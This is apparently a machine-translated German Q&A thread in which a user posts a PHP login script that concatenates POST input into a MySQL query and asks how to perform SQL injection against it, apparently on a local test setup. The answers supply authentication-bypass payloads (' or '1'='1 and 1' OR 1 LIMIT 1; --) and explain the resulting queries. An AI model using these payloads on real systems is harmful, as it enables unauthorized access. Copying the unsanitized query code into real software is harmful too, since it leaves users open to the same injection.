2013-04-02 2 views
9

Ich möchte PHP/Mysql-Injektion mit einem Login-Beispiel verwenden, mein Code ist unten.PHP MySQL Injektionsbeispiel?

Ich habe mit dem Benutzernamen anything' -- und ein leeres Passwort versucht, aber es funktioniert nicht, und ich konnte nicht anmelden.

mir jemand helfen könnte?

<?php 
mysql_connect('localhost','root','root'); 
mysql_select_db('hp'); 
?> 

<form action="" method="post"> 
<table width="50%"> 
    <tr> 
     <td>User</td> 
     <td><input type="text" name="user"></td> 
    </tr> 
    <tr> 
     <td></td> 
     <td><input type="text" name="password"></td> 
    </tr> 
</table> 
    <input type="submit" value="OK" name="s"> 
</form> 

<?php 
if($_POST['s']){ 
    $user = $_POST['user']; 
    $pass = $_POST['password'];  
    $re = mysql_query("select * from zend_adminlist where user_name = '$user' and password = '$pass'"); 

    if(mysql_num_rows($re) == 0){  
     echo '0'; 
    }else{ 
     echo '1'; 
    } 
} 
?> 
+8

nicht duplizieren. Er will spritzen, nicht verhindern. – itachi

+0

@itachi wie auch immer es ist zu lokal begrenzt. –

+3

@itachi Wenn Sie den Artikel lesen, zeigen die Frage sql Injektion, und die Antworten sind Prävention. –

Antwort

19

Eines der bekanntesten Beispiele ist diese Abfrage:

' or '1'='1 

Wenn Sie dies als Benutzername und Passwort in eine aufpoliert Login geben Sie die Abfrage Änderungen wie so eingeben:

Original: SELECT * FROM USERS WHERE USER='' AND PASS=''; 
Modified: SELECT * FROM USERS WHERE USER='' or '1'='1' AND PASS='' or '1'='1'; 

Dies bewirkt, dass jedes Ding wahr ist, da 1 immer gleich 1 ist. Problem bei dieser Methode ist, dass es die Auswahl eines bestimmten Benutzers nicht erlaubt. In diesem Fall müssen Sie die AND-Anweisung ignorieren, indem Sie sie auskommentieren, wie in anderen Beispielen gezeigt.

8

Wenn der Wert der Benutzername ist:

$_POST['user'] = "1' OR 1 LIMIT 1; --"; 

Dann wird die mysql Abfrage wird:

select * 
from zend_adminlist 
where user_name = '1' OR 1 LIMIT 1; --' and password = '$pass' 
+0

Erlaubt nicht mysql nur 1 Zeile pro Abfrage? – lemondrop

+0

1 Zeile, es ist wahr, aber eine Zeile bedeutet ein Abfragetrennzeichen: ';' Das '-'- bedeutet, dass der nachfolgende Code auskommentiert ist. Also ist die obere Abfrage tatsächlich eine Abfrage. Ich habe gerade Zeilen gebrochen, um den Code readable zu sein. – Kovge

+0

Ah ich wusste das nicht. – lemondrop